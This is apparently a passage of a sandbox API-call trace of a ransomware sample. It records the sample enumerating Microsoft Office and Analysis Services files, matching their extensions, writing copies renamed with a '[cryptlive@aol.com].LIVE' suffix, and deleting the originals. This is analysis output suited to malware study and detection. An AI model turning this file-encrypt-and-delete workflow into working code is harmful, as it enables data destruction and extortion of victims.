[0059.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0059.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.792] lstrlenW (lpString=".doc") returned 4 [0059.792] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0059.792] lstrlenW (lpString=".docx") returned 5 [0059.792] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0059.792] lstrlenW (lpString=".pdf") returned 4 [0059.792] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0059.792] lstrlenW (lpString=".xls") returned 4 [0059.793] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString=".xlsx") returned 5 [0059.793] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0059.793] lstrlenW (lpString=".ppt") returned 4 [0059.793] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.793] lstrlenW (lpString=".zip") returned 4 [0059.793] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0059.793] lstrlenW (lpString=".rar") returned 4 [0059.793] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString=".bz2") returned 4 [0059.793] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString=".7z") returned 3 [0059.793] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0059.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.793] lstrlenW (lpString=".dbf") returned 4 [0059.793] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.793] lstrlenW (lpString=".1cd") returned 4 [0059.793] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.793] lstrlenW (lpString=".jpg") returned 4 [0059.793] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.793] lstrlenW (lpString=".doc") returned 4 [0059.793] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString=".docx") returned 5 [0059.793] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0059.793] lstrlenW (lpString=".pdf") returned 4 [0059.793] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString=".xls") returned 4 [0059.793] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0059.793] lstrlenW (lpString=".xlsx") returned 5 [0059.793] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0059.793] lstrlenW (lpString=".ppt") returned 4 [0059.794] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.794] lstrlenW (lpString=".zip") returned 4 [0059.794] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0059.794] lstrlenW (lpString=".rar") returned 4 [0059.794] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0059.794] lstrlenW (lpString=".bz2") returned 4 [0059.794] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0059.794] lstrlenW (lpString=".7z") returned 3 [0059.794] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.794] lstrlenW (lpString=".dbf") returned 4 [0059.794] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.794] lstrlenW (lpString=".1cd") returned 4 [0059.794] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0059.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0059.794] lstrlenW (lpString=".jpg") returned 4 [0059.794] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0059.794] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0059.794] lstrlenW (lpString="AG00142_.GIF") returned 12 [0059.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.929] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=15308) returned 1 [0061.929] CloseHandle (hObject=0x1f4) returned 1 [0061.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0061.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0061.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0061.929] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.929] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.553] GetLastError () returned 0x0 [0062.553] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0062.554] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0062.555] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.555] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.555] SetEndOfFile (hFile=0x15c) returned 1 [0062.556] CloseHandle (hObject=0x15c) returned 1 [0062.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.556] SetEndOfFile (hFile=0x1f4) returned 1 [0062.557] CloseHandle (hObject=0x1f4) returned 1 [0062.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0062.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.557] lstrlenW (lpString=".doc") returned 4 [0062.557] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.557] lstrlenW (lpString=".docx") returned 5 [0062.557] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.557] lstrlenW (lpString=".pdf") returned 4 [0062.558] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.558] lstrlenW (lpString=".xls") returned 4 [0062.558] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.558] lstrlenW (lpString=".xlsx") returned 5 [0062.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.558] lstrlenW (lpString=".ppt") returned 4 [0062.558] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.558] lstrlenW (lpString=".zip") returned 4 [0062.558] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.558] lstrlenW (lpString=".rar") returned 4 [0062.558] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.558] lstrlenW (lpString=".bz2") returned 4 [0062.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.558] lstrlenW (lpString=".7z") returned 3 [0062.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.558] lstrlenW (lpString=".dbf") returned 4 [0062.558] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.558] lstrlenW (lpString=".1cd") returned 4 [0062.558] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.558] lstrlenW (lpString=".jpg") returned 4 [0062.558] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.559] lstrlenW (lpString=".doc") returned 4 [0062.559] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.559] lstrlenW (lpString=".docx") returned 5 [0062.559] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.559] lstrlenW (lpString=".pdf") returned 4 [0062.559] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.559] lstrlenW (lpString=".xls") returned 4 [0062.559] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.559] lstrlenW (lpString=".xlsx") returned 5 [0062.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.559] lstrlenW (lpString=".ppt") returned 4 [0062.559] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.559] lstrlenW (lpString=".zip") returned 4 [0062.559] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.559] lstrlenW (lpString=".rar") returned 4 [0062.559] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.559] lstrlenW (lpString=".bz2") returned 4 [0062.559] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.559] lstrlenW (lpString=".7z") returned 3 [0062.559] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.559] lstrlenW (lpString=".dbf") returned 4 [0062.559] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.559] lstrlenW (lpString=".1cd") returned 4 [0062.559] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0062.559] lstrlenW (lpString=".jpg") returned 4 [0062.559] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.560] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.560] lstrlenW (lpString="AN00015_.WMF") returned 12 [0062.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.560] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4734) returned 1 [0062.560] CloseHandle (hObject=0x1f4) returned 1 [0062.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0062.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.561] GetLastError () returned 0x0 [0062.561] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x127e, lpOverlapped=0x0) returned 1 [0062.562] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1280, lpOverlapped=0x0) returned 1 [0062.563] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.563] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.563] SetEndOfFile (hFile=0x15c) returned 1 [0062.563] CloseHandle (hObject=0x15c) returned 1 [0062.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.564] SetEndOfFile (hFile=0x1f4) returned 1 [0062.564] CloseHandle (hObject=0x1f4) returned 1 [0062.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0062.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.565] lstrlenW (lpString=".doc") returned 4 [0062.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.565] lstrlenW (lpString=".docx") returned 5 [0062.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.565] lstrlenW (lpString=".pdf") returned 4 [0062.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.565] lstrlenW (lpString=".xls") returned 4 [0062.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.565] lstrlenW (lpString=".xlsx") returned 5 [0062.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.565] lstrlenW (lpString=".ppt") returned 4 [0062.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.565] lstrlenW (lpString=".zip") returned 4 [0062.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.565] lstrlenW (lpString=".rar") returned 4 [0062.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.565] lstrlenW (lpString=".bz2") returned 4 [0062.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.565] lstrlenW (lpString=".7z") returned 3 [0062.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.565] lstrlenW (lpString=".dbf") returned 4 [0062.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.566] lstrlenW (lpString=".1cd") returned 4 [0062.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.566] lstrlenW (lpString=".jpg") returned 4 [0062.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.566] lstrlenW (lpString=".doc") returned 4 [0062.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString=".docx") returned 5 [0062.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.566] lstrlenW (lpString=".pdf") returned 4 [0062.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString=".xls") returned 4 [0062.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.566] lstrlenW (lpString=".xlsx") returned 5 [0062.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.566] lstrlenW (lpString=".ppt") returned 4 [0062.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.566] lstrlenW (lpString=".zip") returned 4 [0062.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.566] lstrlenW (lpString=".rar") returned 4 [0062.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString=".bz2") returned 4 [0062.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.566] lstrlenW (lpString=".7z") returned 3 [0062.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.566] lstrlenW (lpString=".dbf") returned 4 [0062.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.567] lstrlenW (lpString=".1cd") returned 4 [0062.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0062.567] lstrlenW (lpString=".jpg") returned 4 [0062.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.567] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.567] lstrlenW (lpString="AN00790_.WMF") returned 12 [0062.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.568] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5684) returned 1 [0062.568] CloseHandle (hObject=0x1f4) returned 1 [0062.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0062.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.569] GetLastError () returned 0x0 [0062.569] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x1634, lpOverlapped=0x0) returned 1 [0062.570] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1640, lpOverlapped=0x0) returned 1 [0062.571] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.571] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.572] SetEndOfFile (hFile=0x15c) returned 1 [0062.572] CloseHandle (hObject=0x15c) returned 1 [0062.572] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.572] SetEndOfFile (hFile=0x1f4) returned 1 [0062.573] CloseHandle (hObject=0x1f4) returned 1 [0062.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0062.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0062.573] lstrlenW (lpString=".doc") returned 4 [0062.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 